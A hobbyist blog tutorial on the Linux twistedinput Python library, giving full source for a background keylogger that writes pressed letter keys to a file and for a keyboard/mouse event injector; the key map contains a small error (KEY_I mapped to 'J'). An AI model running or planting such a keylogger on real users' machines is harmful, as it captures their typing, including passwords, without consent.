In previous articles I described some basic stuff about twisted input. With this boring start, let's make some fun. In this short article I'll show you, how to build simple keylogger and event injector. Please don't abuse this for doing anything malicious. I don't take responsibility for it.
Simple keylogger
Twistedinput is ported for Linux systems only. Since most SW for Linux is also open-source, it's not hard to find a good keylogger without worrying about malware infection. But you can make your own. See the following example.
#!/usr/bin/env python from __future__ import unicode_literals from twistedinput import protocol, device, factory from twistedinput.defines import * from twisted.internet import reactor import sys class KeyNames(object): keyMap = None def __init__(self): self.keyMap = {EV_KEY : self.getKeyNames()} def getKeyNames(self): """ get mapping object for naming keys """ return { KEY_A : "A", KEY_B : "B", KEY_C : "C", KEY_D : "D", KEY_E : "E", KEY_F : "F", KEY_G : "G", KEY_H : "H", KEY_I : "J", KEY_K : "K", KEY_L : "L", KEY_M : "M", KEY_N : "N", KEY_O : "O", KEY_P : "P", KEY_Q : "Q", KEY_R : "R", KEY_S : "S", KEY_T : "T", KEY_U : "U", KEY_V : "V", KEY_W : "W", KEY_X : "X", KEY_Y : "Y", KEY_Z : "Z"} def getKeyName(self, event): try: return self.keyMap[event.type][event.code] except KeyError: return None class LoggerProtocol(protocol.EventProtocol): keyNames = None logFile = None def __init__(self, eventFactory, keyNames, logFile): protocol.EventProtocol.__init__(self, eventFactory) self.keyNames = keyNames self.logFile = open(logFile, 'a') def eventReceived(self, event): if event.value: key = self.keyNames.getKeyName(event) if key is not None: self.logKey(key) def logKey(self, key): self.logFile.write(key) self.logFile.flush() def connectionLost(self, reason): self.logFile.close() def main(): if len(sys.argv) < 3: print "usage: %s <keyboard device> <log file>" % sys.argv[0] exit(1) dev = device.EventDevice( LoggerProtocol( factory.InputEventFactory(), KeyNames(), sys.argv[2]), sys.argv[1]) dev.startReading() reactor.run() if __name__ == '__main__': main()
KeyNames class does basically same think as EventMapping classes. But EventMapping has a different contract, describing its usage and purpose. It's good idea to define another class for naming a keys rather than modifying some mapping classes or use KeyNames as mapping.
For keep code simple, I named only character keys. You can make better keylogger in the same approach.
You can run this script in a background with arguments defining path to you keyboard device and log file respectively. After that it will log pressed keys into file, even if you type into another program.
Event injector
Another interesting thing is generate fake key strokes by software. You can type characters, move a mouse cursor or send power button event which shut down your computer.
Let's write another example. Following program periodically blink with CapsLock LED on you keyboard. Additionally it sniff key strokes and whenever you press left Ctrl button it moves your mouse by 10 pixels in random direction.
#!/usr/bin/env python from __future__ import unicode_literals from twistedinput import protocol, device, factory, event, mapping from twistedinput.defines import * from twisted.internet import reactor, task import sys import random class EventGenerator(object): def createSyncEvent(self): return event.InputEvent.buildInputEvent(EV_SYN, SYN_REPORT, 0) def createEventSeq(self): raise NotImplementedError("override in subclass") class BlinkCaps(EventGenerator): state = None keyboardProtocol = None def __init__(self, keyboardProtocol): self.state = False self.keyboardProtocol = keyboardProtocol def __call__(self): for event in self.createEventSeq(): self.keyboardProtocol.transport.write(event.toBytes()) def createLedEvent(self): value = [0, 1][self.state] self.state = not self.state return event.InputEvent.buildInputEvent(EV_LED, LED_CAPSL, value) def createEventSeq(self): return [self.createLedEvent(), self.createSyncEvent()] class MouseMove(EventGenerator): def __init__(self, moveDistance): self.moveDistance = moveDistance def getAxis(self): return random.choice([REL_X, REL_Y]) def getMove(self): return random.choice([self.moveDistance, -self.moveDistance]) def createMoveEvent(self): return event.InputEvent.buildInputEvent(EV_REL, self.getAxis(), self.getMove()) def createEventSeq(self): return [self.createMoveEvent(), self.createSyncEvent()] class KeyboardProtocol(protocol.EventProtocol): mouseProtocol = None mouseMove = None def __init__(self, *args, **kwargs): protocol.EventProtocol.__init__(self, *args, **kwargs) self.mouseMove = MouseMove(10) def keyLeftCtrl(self, event): if event.value: for event in self.mouseMove.createEventSeq(): self.mouseProtocol.transport.write(event.toBytes()) class MouseProtocol(protocol.EventProtocol): def eventReceived(self, event): pass def main(): if len(sys.argv) < 3: print "usage: %s <keyboard device> <mouse device>" % sys.argv[0] exit(1) keyboardProtocol = KeyboardProtocol( factory.InputEventFactory(), mapping.KeyboardMapping()) keyboard = device.EventDevice( keyboardProtocol, sys.argv[1]) mouseProtocol = MouseProtocol( factory.InputEventFactory()) mouse = device.EventDevice( mouseProtocol, sys.argv[2]) keyboardProtocol.mouseProtocol = mouseProtocol t = task.LoopingCall(BlinkCaps(keyboardProtocol)) t.start(1.0) keyboard.startReading() reactor.run() if __name__ == '__main__': main()
Žádné komentáře:
Okomentovat